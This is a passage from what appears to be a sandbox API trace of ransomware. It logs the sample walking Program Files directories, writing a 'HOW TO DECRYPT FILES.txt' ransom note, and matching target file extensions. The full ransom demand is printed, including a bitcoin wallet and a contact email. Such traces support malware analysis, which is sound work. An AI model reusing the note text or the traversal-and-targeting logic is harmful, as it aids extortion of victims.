FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.331] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="pipres.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipres.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipres.dll" [0076.331] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2612d14c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2612d14c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xadc05c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0076.331] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.331] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtscom.dll") returned -1 [0076.331] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtscom.dll") returned -1 [0076.331] lstrcmpiA (lpString1="", lpString2="rtscom.dll") returned -1 [0076.331] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipres.dll") returned="pipres.dll" [0076.331] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.331] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.331] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.331] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.331] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="rtscom.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\rtscom.dll" [0076.331] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2040b6fe, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2040b6fe, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchobj.dll", cAlternateFileName="")) returned 1 [0076.331] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.331] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="skchobj.dll") returned -1 [0076.331] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="skchobj.dll") returned -1 [0076.332] lstrcmpiA (lpString1="", lpString2="skchobj.dll") returned -1 [0076.332] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned="rtscom.dll" [0076.332] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.332] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.332] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.332] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.332] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="skchobj.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\skchobj.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\skchobj.dll" [0076.332] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe2234520, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchui.dll", cAlternateFileName="")) returned 1 [0076.332] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.332] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="skchui.dll") returned -1 [0076.332] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="skchui.dll") returned -1 [0076.332] lstrcmpiA (lpString1="", lpString2="skchui.dll") returned -1 [0076.332] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\skchobj.dll") returned="skchobj.dll" [0076.332] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.332] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.332] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.332] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.332] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="skchui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\skchui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\skchui.dll" [0076.333] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5c335e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1f5c335e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7764cdc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip32.exe", cAlternateFileName="")) returned 1 [0076.333] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.333] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TabTip32.exe") returned -1 [0076.333] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TabTip32.exe") returned -1 [0076.333] lstrcmpiA (lpString1="", lpString2="TabTip32.exe") returned -1 [0076.333] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\skchui.dll") returned="skchui.dll" [0076.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.333] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.333] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.333] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.333] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="TabTip32.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\TabTip32.exe") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\TabTip32.exe" [0076.333] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37da0ed4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x37da0ed4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf635e30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0076.333] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.333] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tiptsf.dll") returned -1 [0076.333] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tiptsf.dll") returned -1 [0076.333] lstrcmpiA (lpString1="", lpString2="tiptsf.dll") returned -1 [0076.333] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\TabTip32.exe") returned="TabTip32.exe" [0076.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.333] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.333] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.333] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.334] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="tiptsf.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll" [0076.334] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0076.334] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.334] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tpcps.dll") returned -1 [0076.334] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tpcps.dll") returned -1 [0076.334] lstrcmpiA (lpString1="", lpString2="tpcps.dll") returned -1 [0076.334] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll") returned="tiptsf.dll" [0076.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.334] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.334] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.334] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.334] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="tpcps.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tpcps.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tpcps.dll" [0076.334] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232762c6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x232762c6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xaf6cd410, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 0 [0076.334] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.335] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0076.335] lstrcmpA (lpString1=".", lpString2="MSEnv") returned -1 [0076.335] lstrcmpA (lpString1="..", lpString2="MSEnv") returned -1 [0076.335] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.335] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0076.335] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned 58 [0076.335] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.342] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.342] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.342] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.342] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.342] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0076.342] lstrcmpA (lpString1=".", lpString2="PublicAssemblies") returned -1 [0076.342] lstrcmpA (lpString1="..", lpString2="PublicAssemblies") returned -1 [0076.342] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*.*") returned="*.*" [0076.342] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\", lpString2="PublicAssemblies" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies" [0076.342] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies") returned 75 [0076.342] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.343] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.343] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.343] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.343] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.344] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 1 [0076.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.344] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="extensibility.dll") returned -1 [0076.344] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="extensibility.dll") returned 1 [0076.344] lstrcmpiA (lpString1="", lpString2="extensibility.dll") returned -1 [0076.344] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*.*") returned="*.*" [0076.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\" [0076.344] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\") returned="" [0076.344] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\HOW TO DECRYPT FILES.txt" [0076.344] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies\\how to decrypt files.txt")) returned 0xffffffff [0076.344] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.345] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0076.345] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0076.346] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.346] CloseHandle (hObject=0x90) returned 1 [0076.347] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\", lpString2="extensibility.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll" [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.ems") returned 0 [0076.347] lstrlenA (lpString="*.ems") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.db") returned 0 [0076.347] lstrlenA (lpString="*.db") returned 4 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.dbf") returned 0 [0076.347] lstrlenA (lpString="*.dbf") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.myox") returned 0 [0076.347] lstrlenA (lpString="*.myox") returned 6 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.myo") returned 0 [0076.347] lstrlenA (lpString="*.myo") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qbw") returned 0 [0076.347] lstrlenA (lpString="*.qbw") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\extensibility.dll", pszSpec="*.qbb") returned 0 [0076.347] lstrlenA (lpString="*.qbb") returned 5 [0076.347] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common 